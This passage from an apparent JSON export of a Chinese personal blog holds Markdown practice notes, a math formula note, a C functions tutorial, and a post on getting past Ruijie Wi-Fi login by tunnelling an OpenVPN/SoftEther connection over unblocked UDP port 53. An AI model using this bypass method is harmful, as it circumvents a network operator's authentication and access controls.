class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e关键内容基本都写了一遍,留供参考。\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;!--more--\u0026gt; //这里注意一下,这个标签是控制文章列表页预览内容多少的\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 0.分割线\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e***\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e---\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e___\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 1.斜体和粗体\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*斜体*\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e**粗体**\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 2.分级标题\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e### 最多6级\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e##### 由#的数量决定\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 3.外链\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e如下所示:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e* 内联式:[百度](https://www.baidu.com)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e* 参考式:[文字描述][链接标签名字]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e* 链接本身: \u0026lt;https://www.zhihu.com\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[链接标签名字]:https://www.google.com\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 4.无序列表\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e* 1123123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e* 2123123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e* 3123123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 5.文字引用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e比如说\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026gt;苟利国家生死以,岂因祸福避趋之\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 6.行内代码块\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e比如说,`#include \u0026lt;stdio.h\u0026gt;`就像这样,会亮起来\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 7.插入图像\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ![Google图片](https://cdn2.mhpbooks.com/2016/02/google.jpg)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 8.代码引用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e`` `\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e#include \u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eint main(void)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e......\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e`` `\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e注:这三个撇是连着的,因为显示问题故以空格分割。\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 9.表格\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e|daze|daze|daze|\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e|:-|:-:|-:|\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e|daze|dazedazedaze|daze\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 10.数学:LaTex\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$f(x)=x^2+2x+1=(x+1)^2$\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$\\gamma$\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$$\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ef(x)=\\int_{-\\infty}^\\infty\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\\hat f{\\xi}\\,e^{2\\pi i\\xi x}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\\,d\\xi\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$$\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Markdown%E8%AF%AD%E6%B3%95%E7%BB%83%E4%B9%A0/"},{"title":"焦点弦定理之一","time":"2020-12-19T12:50:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e今天听了节课,感觉这个应该会很有用。记下来以备后用。\u003c/p\u003e\u003cp\u003e公式本体: |ecosθ|=|(λ-1)/(λ+1)|\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/blog/images/pasted-0.png\" alt=\"焦点弦重要定理证明\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/19/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E7%84%A6%E7%82%B9%E5%BC%A6%E5%AE%9A%E7%90%86%E4%B9%8B%E4%B8%80/"},{"title":"UDP53端口绕过Wi-Fi登陆认证","time":"2020-12-18T05:21:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e这段时间一直在和锐捷对线,甚至被迫营业用上kali nh(\u003cdel\u003e本就不大的存储空间更加雪上加霜www\u003c/del\u003e)不过好在找到了法子。\u003c/p\u003e\u003cp\u003e就是它!UDP 53!搬一下度娘介绍:\u003c/p\u003e\u003cp\u003e53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最为广泛。通过\u003ca href=\"https://baike.baidu.com/item/DNS%E6%9C%8D%E5%8A%A1%E5%99%A8\" target=\"_blank\" rel=\"noopener noreferrer\"\u003eDNS服务器\u003c/a\u003e可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。\u003c/p\u003e\u003cp\u003e就是这样!但是这和我不能认证上网又有什么关系呢?有关系。因为锐捷会劫持你的页面,但是它对UDP53端口是不拦截的。所以……或许可以试试借此突破防护?\u003c/p\u003e\u003cp\u003e我们试试连接wifi,ping一下百度(百度正确食用方法:\u003cdel\u003e测试网络状况\u003c/del\u003e)\u003c/p\u003e\u003cp\u003e我们得到了下图的结果:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://mxts.jiujiuer.xyz/files/picture/Screenshot_20201103-124939693.jpg\" alt=\"ping测试结果\"/\u003e\u003c/p\u003e\u003cp\u003e也就是说,我们可以通过UDP53端口来直接访问外部网络!\u003c/p\u003e\u003cp\u003e验证结束。接下来开始实操。 \u003c/p\u003e\u003chr/\u003e\u003cp\u003e首先,我们需要两个文件。一个是服务端软件openVPN server,另一个是服务端远程管理软件SoftEther VPN。除此之外,还需要一个有公网地址的服务器。我用的是运行Ubuntu的阿里云(毕竟学生机跟白送差不多×),也有dalao用的是vultr之类的。\u003c/p\u003e\u003cp\u003e首先,我们需要配置我们的服务端。通过ssh连接到ubuntu服务器,创建一个目录用来下载openvpn的安装文件。\u003c/p\u003e\u003cp\u003e下载完成之后,使用命令tar  -zxvf   [文件名]来解压。解压完成后使用cd openvpn进入软件目录,使用make命令来编译软件(默认环境已经安装了gcc等支持)。编译过程一路1+回车确定即可。\u003c/p\u003e\u003cp\u003e编译完成后使用命令./vpnserver start启动服务端,使用命令./vpncmd进入设置。输入1后连按回车直到出现vpnserver\u0026gt;提示符为止。使用SetVpnserverPassword指令设置openvpn服务端密码。设置完成后,使用exit指令退出。\u003c/p\u003e\u003cp\u003e至此,服务端配置完成。可以断开ssh连接了。\u003c/p\u003e\u003cp\u003e现在,我们需要一个运行windows系统的电脑(废话)来完成服务端的最终配置。\u003c/p\u003e\u003cp\u003e这里的配置后面再说,我先放上已经完成的配置文件:\u003ca href=\"http://mxts.jiujiuer.xyz/files/openvpn-conf-20201121.zip\"\u003eopenVPN配置文件\u003c/a\u003e\u003c/p\u003e\u003cp\u003e点击下载到本地,待会需要使用到这个文件\u003c/p\u003e\u003cp\u003e接下来,我们便可以使用openvpn来愉快地上网了(不过ios平台可能得费些功夫,因为在国内这玩意下载起来比较困难)\u003c/p\u003e\u003cp\u003e这里先附上安卓端:\u003ca href=\"https://dreamweb.lanzoui.com/ijkMvj3ts8h\"\u003e点击下载\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e下载完成后,打开软件,点击右上角导入配置文件。然后找到我们刚下载好的配置文件,打开,确定,点击开启,输入账号密码,完成!\u003c/p\u003e\u003chr/\u003e\u003cp\u003e到这里就差不多结束了。现在,你可以无视锐捷,愉快地免登陆上网了w\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/UDP53%E7%AB%AF%E5%8F%A3%E7%BB%95%E8%BF%87Wi-Fi%E7%99%BB%E9%99%86%E8%AE%A4%E8%AF%81/"},{"title":"C语言之二:函数","time":"2020-12-17T05:54:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e函数是一组一起执行一个任务的语句。每个 C 程序都至少有一个函数,即主函数 \u003ccode\u003emain()\u003c/code\u003e ,所有简单的程序都可以定义其他额外的函数。\u003c/p\u003e\u003cp\u003e你可以把代码划分到不同的函数中。如何划分代码到不同的函数中是由你来决定的,但在逻辑上,划分通常是根据每个函数执行一个特定的任务来进行的。\u003c/p\u003e\u003cp\u003e函数声明告诉编译器函数的名称、返回类型和参数。函数定义提供了函数的实际主体。\u003c/p\u003e\u003cp\u003eC 标准库提供了大量的程序可以调用的内置函数。例如,函数 \u003ccode\u003estrcat()\u003c/code\u003e用来连接两个字符串,函数 \u003ccode\u003ememcpy()\u003c/code\u003e 用来复制内存到另一个位置。\u003c/p\u003e\u003cp\u003e函数还有很多叫法,比如方法、子例程或程序,等等。\u003c/p\u003e\u003cp\u003e定义函数\u003cbr/\u003eC 语言中的函数定义的一般形式如下:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ereturn_type function_name( parameter list )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebody of the function\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在 C 语言中,函数由一个函数头和一个函数主体组成。下面列出一个函数的所有组成部分:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e返回类型(return_type):一个函数可以返回一个值。return_type是函数返回的值的数据类型。有些函数执行所需的操作而不返回值,在这种情况下,return_type 是关键字 void。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数名称(function_name):这是函数的实际名称。函数名和参数列表一起构成了函数签名。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e参数(parameter list):参数就像是占位符。当函数被调用时,你向参数传递一个值,这个值被称为实际参数。参数列表包括函数参数的类型、顺序、数量。参数是可选的,也就是说,函数可能不包含参数。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数主体(body of the function):函数主体包含一组定义函数执行任务的语句。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch5 id=\"实例\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E4%B9%8B%E4%BA%8C%EF%BC%9A%E5%87%BD%E6%95%B0/#%E5%AE%9E%E4%BE%8B\" class=\"headerlink\" title=\"实例\"\u003e\u003c/a\u003e实例\u003c/h5\u003e\u003cp\u003e以下是 max() 函数的源代码。该函数有两个参数 num1 和 num2,会返回这两个数中较大的那个数:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e/* 函数返回两个数中较大的那个数 */ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eint max(int num1, int num2) \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    /* 局部变量声明 */ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   int result; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    if (num1 \u0026gt; num2) \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        result = num1; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    else \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e       result = num2; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   return result; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch5 id=\"函数声明\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E4%B9%8B%E4%BA%8C%EF%BC%9A%E5%87%BD%E6%95%B0/#%E5%87%BD%E6%95%B0%E5%A3%B0%E6%98%8E\" class=\"headerlink\" title=\"函数声明\"\u003e\u003c/a\u003e函数声明\u003c/h5\u003e\u003cp\u003e函数声明会告诉编译器函数名称及如何调用函数。函数的实际主体可以单独定义。\u003c/p\u003e\u003cp\u003e函数声明包括以下几个部分:\u003c/p\u003e\u003cp\u003e\u003ccode\u003ereturn_type function_name( parameter list );\u003c/code\u003e\u003c/p\u003e\u003cp\u003e针对上面定义的函数 max(),以下是函数声明:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eint max(int num1, int num2);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在函数声明中,参数的名称并不重要,只有参数的类型是必需的,因此下面也是有效的声明:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eint max(int, int);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e当你在一个源文件中定义函数且在另一个文件中调用函数时,函数声明是必需的。在这种情况下,你应该在调用函数的文件顶部声明函数。\u003c/p\u003e\u003ch5 id=\"调用函数\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E4%B9%8B%E4%BA%8C%EF%BC%9A%E5%87%BD%E6%95%B0/#%E8%B0%83%E7%94%A8%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"调用函数\"\u003e\u003c/a\u003e调用函数\u003c/h5\u003e\u003cp\u003e创建 C 函数时,会定义函数做什么,然后通过调用函数来完成已定义的任务。\u003c/p\u003e\u003cp\u003e当程序调用函数时,程序控制权会转移给被调用的函数。被调用的函数执行已定义的任务,当函数的返回语句被执行时,或到达函数的结束括号时,会把程序控制权交还给主程序。\u003c/p\u003e\u003cp\u003e调用函数时,传递所需参数,如果函数返回一个值,则可以存储返回值。例如:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e//Example-2-1-返回最大值\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e#include \u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/* 函数声明 */\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eint max(int num1, int num2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eint main (void)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eint a = 100,b = 200,ret; //局部变量定义\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/* 调用函数来获取最大值 */\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eret = max(a, b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprintf( \u0026#34;Max value is : %d\\n\u0026#34;, ret );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ereturn 0;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/* 函数返回两个数中较大的那个数 */\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eint max(int num1, int num2)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/* 局部变量声明 */\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eint result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eif (num1 \u0026gt; num2)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = num1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eelse\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = num2;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ereturn result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e把 max() 函数和 main() 函数放一块,编译源代码。当运行最后的可执行文件时,会产生下列结果:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eMax value is : 200\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch5 id=\"函数参数\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E4%B9%8B%E4%BA%8C%EF%BC%9A%E5%87%BD%E6%95%B0/#%E5%87%BD%E6%95%B0%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"函数参数\"\u003e\u003c/a\u003e函数参数\u003c/h5\u003e\u003cp\u003e如果函数要使用参数,则必须声明接受参数值的变量。这些变量称为函数的形式参数。\u003c/p\u003e\u003cp\u003e形式参数就像函数内的其他局部变量,在进入函数时被创建,退出函数时被销毁。\u003c/p\u003e\u003cp\u003e当调用函数时,有两种向函数传递参数的方式:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e调用类型描述传值。调用该方法把参数的实际值复制给函数的形式参数(形式参数可以理解为占位符,就是表示这里有这么一个类型的参数)。在这种情况下,修改函数内的形式参数不会影响实际参数。也就是说,刚才的max(a,b)是通过将a和b的值分别复制到了max()函数的num1和num2两个变量中完成了将数值传递到max()中的任务。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e引用调用。通过指针传递方式,形参为指向实参地址的指针,当对形参的指向操作时,就相当于对实参本身进行的操作。默认情况下,C 